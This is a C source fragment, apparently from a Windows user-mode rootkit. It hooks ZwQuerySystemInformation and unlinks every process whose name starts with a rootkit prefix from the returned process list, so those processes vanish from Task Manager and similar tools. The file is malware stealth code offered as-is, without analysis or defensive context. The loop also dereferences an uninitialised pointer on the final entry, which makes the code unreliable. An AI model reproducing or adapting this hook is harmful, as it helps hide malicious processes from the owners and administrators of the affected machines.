typedef NTSTATUS (WINAPI * Enum_ZwQuerySystemInformation)(UINT, PVOID, 
                                    ULONG, PULONG);
Enum_ZwQuerySystemInformation Real_ZwQuerySystemInformation = NULL;

NTSTATUS WINAPI Mine_ZwQuerySystemInformation(UINT SystemInformationClass, 
											  PVOID SystemInformation, 
											  ULONG SystemInformationLength, 
											  PULONG ReturnLength)
{
	NTSTATUS sysinfo = 0;
	if (!Real_ZwQuerySystemInformation) return -1;
	sysinfo = Real_ZwQuerySystemInformation(SystemInformationClass,
											SystemInformation,
											SystemInformationLength,
											ReturnLength);
	if (sysinfo == STATUS_SUCCESS)
	{
		switch (SystemInformationClass)
		{
			case SystemProcessesAndThreadsInformation:
			{
				PSYSTEM_PROCESS_INFORMATION pProcesses = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
				PSYSTEM_PROCESS_INFORMATION pNextProcess;
				while (1)
				{
				if (pProcesses->NextEntryDelta != 0)
					pNextProcess = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)pProcesses) + pProcesses->NextEntryDelta);
				PCWSTR pszProcessName = pProcesses->ProcessName.Buffer;
				PCWSTR pszNextProcessName = pNextProcess->ProcessName.Buffer;
				CHAR szProcessName[MAX_PATH];
				WideCharToMultiByte(CP_ACP, 0, pszProcessName, -1,
                            szProcessName, MAX_PATH, NULL, NULL);
				//log_add("Reporting %s", szProcessName);
				CHAR szNextProcessName[MAX_PATH];
				WideCharToMultiByte(CP_ACP, 0, pszNextProcessName, -1,
                            szNextProcessName, MAX_PATH, NULL, NULL);
				if (!strncmp(szNextProcessName, RTK_FILE_CHAR, strlen(RTK_FILE_CHAR)))
				{
					pProcesses->NextEntryDelta += pNextProcess->NextEntryDelta;
					if (VERBOSE)
						log_add("Hiding %s", szNextProcessName);
				}
				if (pProcesses->NextEntryDelta != 0)
					pProcesses = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)pProcesses) + pProcesses->NextEntryDelta);
				else
					break;
				}
			}
		}
	}
	return sysinfo;
}